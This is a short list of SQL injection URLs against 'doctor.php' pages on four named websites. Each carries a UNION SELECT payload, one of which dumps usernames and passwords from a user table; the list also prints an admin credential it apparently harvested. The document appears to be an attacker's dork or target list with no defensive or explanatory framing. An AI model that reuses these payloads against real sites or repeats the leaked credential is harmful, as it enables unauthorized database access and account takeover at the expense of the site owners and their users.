http://www.theeyedoctors.net/doctor.php?id=-39+union+select+1,2,3,4,5,6,7,8+/*+

http://visus.net.ua/doctor.php?action=view&id=-26+union+select+1,2,3,4,5,6,7+/*+

http://www.jlhkfk.com/doctor.php?id=-6+union+select+1,2,concat_ws(0x3a3a,username,pass) ,4+from+user+--+
admin_jlhkfk::a12345678

http://www.igshanghai.com/yljk/doctor.php?id=-422+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+ from+mysql.user+/*+